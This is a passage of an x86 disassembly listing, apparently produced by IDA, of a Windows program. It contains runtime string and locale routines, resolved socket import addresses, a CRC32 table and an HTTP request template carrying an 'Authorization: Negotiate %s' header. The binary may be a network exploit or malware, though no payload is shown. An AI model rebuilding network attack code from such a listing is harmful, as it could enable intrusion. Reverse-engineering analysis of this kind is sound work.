esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A40 proc near jmp near ptr 71B2ACCBh sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p nop jmp near ptr 71AB1B7Bh sub_422A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p nop jmp near ptr 27D0000h sub_422A4C endp ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_48A0A8, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2840000h pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_48A0A8, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_48A0A8 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_48A304, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi nop call near ptr 2860000h test eax, eax jz short loc_422CCC mov dword_48A304, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_43C824 push edi push esi nop call near ptr 2850000h test eax, eax jz loc_422E6D mov dword_48A304, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_48A304 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2860000h nop jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2790000h mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2790000h test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2610000h mov edi, eax cmp edi, esi jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_4395A4 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A308 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25C0000h test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push edi call near ptr 25C0792h nop test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_48A308, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25C0000h jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2790000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2790000h test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_48A0A8 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 25C0792h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 2580000h, 2580165h, 2590000h, 25905D6h, 25A0000h, 25A0B9Bh dd 25B0000h, 25B051Bh, 25B0575h, 25B0B69h, 25C0000h, 25C0792h dd 25D0000h, 25D08DEh, 25D0A9Ah dword_42403C dd 25D0AAFh ; DATA XREF: ___:0041F496r dd 25D0B38h, 25D0E75h, 25E0000h, 25E0180h, 25E02D3h, 25E02EAh dword_424058 dd 25E08E4h ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 25E0925h, 25F0000h dword_424064 dd 25F0439h ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 25F048Fh, 2600000h dword_424070 dd 2610000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 2611183h ; DATA XREF: sub_4168E9+Br dword_424078 dd 2611A31h ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2620000h, 2620620h dword_424084 dd 2630000h ; DATA XREF: sub_40AB7C+36r dd 2630272h dword_42408C dd 2630313h ; DATA XREF: sub_4168E9:loc_41697Ar dd 26303A9h, 2640000h, 2650000h, 2660000h dword_4240A0 dd 2660D4Bh ; DATA XREF: sub_4165C6+32r dd 2670000h, 267029Bh, 26703ADh, 2680000h, 2680631h, 2690000h dword_4240BC dd 26A0000h ; DATA XREF: sub_408EE5+26r dd 26B0000h, 77F7E300h, 77F7E21Fh, 26B0B0Ch, 26C0000h dd 26C074Dh dword_4240D8 dd 26D0000h ; DATA XREF: sub_409037+BCr dword_4240DC dd 26D0588h ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 26D0C95h ; DATA XREF: sub_40981F:loc_409D0Fr dd 26E0000h dword_4240E8 dd 26F0000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 26F09F8h ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 26F0A4Dh dword_4240F4 dd 26F0C77h ; DATA XREF: sub_409392+56r dd 2700000h, 2700537h dword_424100 dd 2700B59h ; DATA XREF: sub_40981F+2r dd 2710000h, 2720000h, 272067Ch, 2720C04h, 2730000h, 2730727h dd 2740000h, 274056Fh, 2750000h, 2751040h, 275113Ah, 2760000h dd 276046Bh, 27607E9h dword_42413C dd 2760C3Fh ; DATA XREF: sub_40B56C+79r ; sub_416810+3Ar dword_424140 dd 2770000h ; DATA XREF: sub_40B56C+3Br ; sub_416717+23r dd 2771415h, 2780000h, 77E75CB5h dword_424150 dd 2790000h ; DATA XREF: sub_40DBB0+13r ; ___:0041F50Br ... dd 27A0000h, 27A0C9Ch, 27A0DD8h dword_424160 dd 27B0000h ; DATA XREF: ___:loc_40E864r dd 27B03C7h dword_424168 dd 27B0A22h ; DATA XREF: sub_4165C6:loc_4166B2r dd 27B0B24h, 27B0BD0h, 27B0CADh, 27C0000h, 27C061Bh, 27C0848h dd 27C098Dh, 27D0000h, 27E0000h, 27F0000h, 2800000h, 2810000h dd 28119B6h, 28119E3h, 2820000h, 2820CB9h, 2830000h dword_4241B0 dd 2830643h ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 2830702h ; DATA XREF: sub_41B888:loc_41B8B9r dd 283090Eh, 2840000h, 284053Eh, 2850000h, 2860000h, 2861185h dd 28618EEh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 